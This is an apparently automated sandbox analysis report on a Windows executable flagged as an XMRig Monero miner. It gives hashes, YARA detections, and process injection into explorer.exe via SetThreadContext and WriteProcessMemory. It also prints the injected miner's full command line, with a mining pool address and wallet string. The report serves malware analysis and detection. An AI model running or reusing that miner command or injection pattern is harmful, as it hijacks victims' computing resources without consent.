Analysis
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max time kernel
91s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
25/12/2023, 23:49
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
4450dc59512c910e7ce20b063d5acd0b.exe
Resource
win7-20231129-en
2 signatures
150 seconds
General
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Target
4450dc59512c910e7ce20b063d5acd0b.exe
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Size
1.9MB
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MD5
4450dc59512c910e7ce20b063d5acd0b
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SHA1
6133d113c721a732db566cf69ec1525aa908b0e9
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SHA256
1480048c08e8b883261acc4dfbe1928dd39cc9649d0e5170eac6a2f39060355d
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SHA512
4a2d9d52ba8e31a73a394f98a03356aa978704e65e6e99a9c9a82ec6f7d4d917cc6b9f185ef04e4245612224392977a037974fc6b215f1542cc1d75cc974e2a7
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SSDEEP
49152:4f0PSfuQ3kcK9Nx1z9AsG4yo+ViThP+/ysm2QcU8lAnp20:4tmQaD1DjTltm/4cU8lAs
Malware Config
Signatures
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XMRig Miner payload 11 IoCs
resource yara_rule behavioral2/memory/3080-6-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral2/memory/3080-8-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral2/memory/3080-10-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral2/memory/3080-12-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral2/memory/3080-13-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral2/memory/3080-14-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral2/memory/3080-15-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral2/memory/3080-16-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral2/memory/3080-17-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral2/memory/3080-19-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral2/memory/3080-20-0x0000000140000000-0x000000014072E000-memory.dmp xmrig -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4484 set thread context of 3080 4484 4450dc59512c910e7ce20b063d5acd0b.exe 90 -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 668 Process not Found -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeLockMemoryPrivilege 3080 explorer.exe Token: SeLockMemoryPrivilege 3080 explorer.exe Token: SeIncBasePriorityPrivilege 3080 explorer.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 4484 wrote to memory of 3080 4484 4450dc59512c910e7ce20b063d5acd0b.exe 90 PID 4484 wrote to memory of 3080 4484 4450dc59512c910e7ce20b063d5acd0b.exe 90 PID 4484 wrote to memory of 3080 4484 4450dc59512c910e7ce20b063d5acd0b.exe 90 PID 4484 wrote to memory of 3080 4484 4450dc59512c910e7ce20b063d5acd0b.exe 90 PID 4484 wrote to memory of 3080 4484 4450dc59512c910e7ce20b063d5acd0b.exe 90 PID 4484 wrote to memory of 3080 4484 4450dc59512c910e7ce20b063d5acd0b.exe 90 PID 4484 wrote to memory of 3080 4484 4450dc59512c910e7ce20b063d5acd0b.exe 90 PID 4484 wrote to memory of 3080 4484 4450dc59512c910e7ce20b063d5acd0b.exe 90 PID 4484 wrote to memory of 3080 4484 4450dc59512c910e7ce20b063d5acd0b.exe 90 PID 4484 wrote to memory of 3080 4484 4450dc59512c910e7ce20b063d5acd0b.exe 90 PID 4484 wrote to memory of 3080 4484 4450dc59512c910e7ce20b063d5acd0b.exe 90 PID 4484 wrote to memory of 3080 4484 4450dc59512c910e7ce20b063d5acd0b.exe 90 PID 4484 wrote to memory of 3080 4484 4450dc59512c910e7ce20b063d5acd0b.exe 90 PID 4484 wrote to memory of 3080 4484 4450dc59512c910e7ce20b063d5acd0b.exe 90 PID 4484 wrote to memory of 3080 4484 4450dc59512c910e7ce20b063d5acd0b.exe 90
Processes
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C:\Users\Admin\AppData\Local\Temp\4450dc59512c910e7ce20b063d5acd0b.exe"C:\Users\Admin\AppData\Local\Temp\4450dc59512c910e7ce20b063d5acd0b.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4484 -
C:\WINDOWS\explorer.exeC:\WINDOWS\explorer.exe -B --coin=monero --asm=auto --cpu-memory-pool=-1 --cpu-priority=5 --cpu-no-yield --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-us-west1.nanopool.org:14433 --user=449g4PYfaygbgzzWBnyL7BGy2FbDx7WB24HoVqFJkvjzQASg5eWMXLv4wrrZGCpLoehv6CX7UUDsJEMu2MwERwB44wHatQg.Rig1/Commander1942 --pass= --cpu-max-threads-hint=20 --donate-level=4 --tls2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3080
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